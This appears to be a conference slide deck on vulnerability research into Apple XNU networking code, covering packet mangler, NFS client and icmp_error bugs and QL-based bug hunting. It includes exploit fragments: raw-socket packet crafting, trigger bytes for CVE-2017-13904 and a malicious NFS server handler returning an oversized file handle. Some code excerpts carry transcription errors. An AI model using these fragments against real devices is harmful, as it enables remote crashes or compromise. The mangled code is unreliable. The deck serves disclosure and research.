mbuf overflow: finding vulnerabilities in iOS/macOS networking code

Kevin Backhouse
Semmle Security Research Team
A tale of three bugs

1. packet mangler

2. NFS client

3. icmp_error
   CVE-2018-4407
Bonus Topics

1. TCP/IP packet structure
2. Raw socket programming in C (on Linux)
3. XNU’s mbuf datatype
4. Using RPC to implement a fake NFS server
5. QL query writing
Bug 1: packet mangler

CVE-2017-13904 (infinite loop)
CVE-2018-4249 (stack buffer overflow)
CVE-2018-4460 (infinite loop)
packet mangler demo
Searching for unsafe array indices

Demo:
  - Search for unsafe array indices using `ArrayIndexMightOverflow.ql`
  - Find `CVE-2017-13904`
The real reason to do bug hunting is to give you motivation to learn boring stuff. When was the last time you read an IPv6 for BSD reference manual with desperate enthusiasm? What if it meant you could hack the iPhone? XD
## TCP/IP packet structure

<table>
<thead>
<tr>
<th>struct ip</th>
<th>ip options</th>
<th>struct tcphdr</th>
<th>tcp options</th>
<th>payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>20 bytes</td>
<td>0 - 40 bytes</td>
<td>20 bytes</td>
<td>0 - 40 bytes</td>
<td>0-64k bytes</td>
</tr>
</tbody>
</table>
Raw socket programming

Sample code:

- [github.com/Semmle/SecurityExploits](github.com/Semmle/SecurityExploits)
Raw socket programming (main steps)

// Create the socket (requires root or CAP_NET_RAW)
const int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);

// IP_HDRINCL to tell the kernel that headers are included in the packet
int one = 1;
setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one));

// Initialize buf
...

// Send the packet
sendto(s, buf, buflen, 0, (struct sockaddr *) &sin, sizeof (sin));
Triggering CVE-2017-13904

buf[40] = TCP_OPT_MULTIPATH_TCP;
buf[41] = 0x3F; // Or some other garbage
Discovering CVE-2018-4249

Timeline:
- 2017-07-14 Reported bug (CVE-2017-13904) to Apple
- 2018-02-09 Asked Apple: “When is it going to be fixed?”
- 2018-02-13 Apple: “We fixed it in December.”

So I had another look ...
The TCP header

```c
struct tcphdr {
    unsigned short th_sport;  /* source port */
    unsigned short th_dport;  /* destination port */
    tcp_seq th_seq;           /* sequence number */
    tcp_seq th_ack;           /* acknowledgement number */
    unsigned int th_x2:4,    /* (unused) */
    th_off:4;                 /* data offset */
    unsigned char th_flags;
    unsigned short th_win;   /* window */
    unsigned short th_sum;   /* checksum */
    unsigned short th_uprp;  /* urgent pointer */
};
```
struct mbuf {
    struct m_hdr m_hdr;
    union {
        struct {
            struct pkthdr MH_pkthdr; /* M_PKTHDR set */
            union {
                struct m_ext MH_ext; /* M_EXT set */
                char   MH.databuf[_MHLEN];
            } MH_dat;
        } MH;
        char   M.databuf[_MLEN];     /* !M_PKTHDR, !M_EXT */
    } M_dat;
};
kbuf

“Kev’s simpler, but equally type-safe implementation of mbuf”

```c
struct kbuf {
    char stuff[256];
};
```
errno_t mbuf_copydata(const mbuf_t m0, size_t off, size_t len, void *out_data) {
    int count;
    mbuf_t m = m0;
    while (off > 0) {
        if (m == 0)
            return (EINVAL);
        if (off < (size_t)m->m_len)
            break;
        off -= m->m_len;
        m = m->m_next;
    }
    while (len > 0) {
        if (m == 0)
            return (EINVAL);
        count = m->m_len - off > len ? len : m->m_len - off;
        bcopy(mtod(m, caddr_t) + off, out_data, count);
        len -= count;
        out_data = (((char *)out_data) + count);
        off = 0;
        m = m->m_next;
    }
    return (0);
}
And it still wasn’t fixed: CVE-2018-4460

- No source code until Oct 2018
- Turns out they forgot to fix one of the infinite loop bugs

So apparently Apple has finally released the source code of MacOS up to 10.13.6
opensource.apple.com/release/macos- ...
Bug 2: NFS client

CVE-2018-4259
CVE-2018-4286
CVE-2018-4287
CVE-2018-4288
CVE-2018-4291
NFS client demo
Searching for memcpy, XNU-style

- Now I know what to look for:
  - mbuf_copydata
  - m_copydata
  - bcopy (aka __builtin___memcpy or __memcpy)
  - mbuf_data
  - m_mtod
- Use dataflow/taint analysis to search for flow from mbuf_data to bcopy, m_mtod to m_copydata, etc.
nfsmp_sub.h

/* prepare an mbuf chain for building starting with a newly allocated mbuf */
#define nfsmp_chain_build_alloc_init(E, NMC, SIZEHINT) \
   do { \
       mbuf_t ncbimb; \
       nfsmp_mbuf_get((E), &ncbimb, (SIZEHINT)); \
       if (E) break; \
       nfsmp_chain_init((NMC), ncbimb); \
   } while (0)
nfsms_subs.h

/* get the size of and data for a file handle in an mbuf chain */
#define nfsm_chain_get_fh(E, NMC, VERS, FHP) \
    do { \
        if ((VERS) != NFS_VER2) \n            nfsm_chain_get_32((E), (NMC), (FHP)->fh_len); \
        else \n            (FHP)->fh_len = NFSX_V2FH;\n        nfsm_chain_get_opaque((E), (NMC), (uint32_t)(FHP)->fh_len, (FHP)->fh_data);\n        if (E) \n            (FHP)->fh_len = 0;\n    } while (0)
nfsm_subs.h

/* copy the next consecutive bytes of opaque data from an mbuf chain */
#define nfsm_chain_get_opaque(E, NMC, LEN, PTR)  
  do {   
    uint32_t rndlen;   
    if (E) break;   
    rndlen = nfsm_rndup(LEN);   
    if (((NMC)->nmc_left >= rndlen) {   
      u_char *__tmpptr = (u_char*)((NMC)->nmc_ptr;   
      (NMC)->nmc_left -= rndlen;   
      (NMC)->nmc_ptr += rndlen;   
      bcopy(__tmpptr, (PTR), (LEN));   
    } else {   
      (E) = nfsm_chain_get_opaque_f((NMC), (LEN), (u_char*)((PTR));   
    } 
  } while (0)
Implementing a fake NFS server

- Use **rpcgen** to create an RPC server application.
- Simplest bug happens at mount time, so only need to implement a handful of operations:
  - NFSPROC3_NULL
  - MOUNTPROC3_NULL
  - MOUNTPROC3_MNT (returns malicious file handle)
- Source code is on **GitHub**.
- Just 46 lines of C and 63 lines of **RPC language**!
struct mountres3_ok {
    fhandle3 fhandle;
    int auth_flavors<>;
};

union mountres3 switch (mountstat3 fhs_status)
{
    case MNT_OK:
        mountres3_ok mountinfo;
    default:
        void;
};

program MOUNT_PROGRAM {
    version MOUNT_V3 {
        void MOUNTPROC3_NULL(void) = 0;
        mountres3 MOUNTPROC3_MNT(dirpath) = 1;
    } = 3;
} = 100005;
mountres3* mountproc3_mnt_3_svc(dirpath *path, struct svc_req *req) {
    static struct mountres3 result;
    static int auth_flavors[1] = {1}; // RPCAUTH_SYS
    static const uint32_t far_too_big_fhandle3_size = 0x1000;

    result.fhs_status = 0;
    result.mountres3_u.mountinfo.fhandle.data.data_len = far_too_big_fhandle3_size;
    result.mountres3_u.mountinfo.fhandle.data.data_val =
        malloc(far_too_big_fhandle3_size);
    memset(result.mountres3_u.mountinfo.fhandle.data.data_val, 0,
           far_too_big_fhandle3_size);

    result.mountres3_u.mountinfo.auth_flavors.auth_flavors_len = 1;
    result.mountres3_u.mountinfo.auth_flavors.auth_flavors_val = auth_flavors;
    return &result;
}

Bug 3: icmp_error

CVE-2018-4407
icmp_error demo
A different source/sink combo

- Source: m METHOD
- Sink: m COPYDATA
What is icmp_error?

- Sends an error message when something goes wrong, using the ICMP protocol
- For example: `ip_dooptions` calls `icmp_error` when the `ip` options are invalid
- How the exploit works:
  - Send a TCP packet with invalid `ip` options
  - Make the TCP/IP headers as big as possible (120 bytes)
What’s next?

— I have taken a break from XNU and am looking at other open source projects
— Goal for 2019: learn exploitation techniques
— Is XNU’s networking code bug-free now?
— I doubt it
— tcp_input alone is 3428 lines long
— Not algorithmically complex, just lots and lots of cases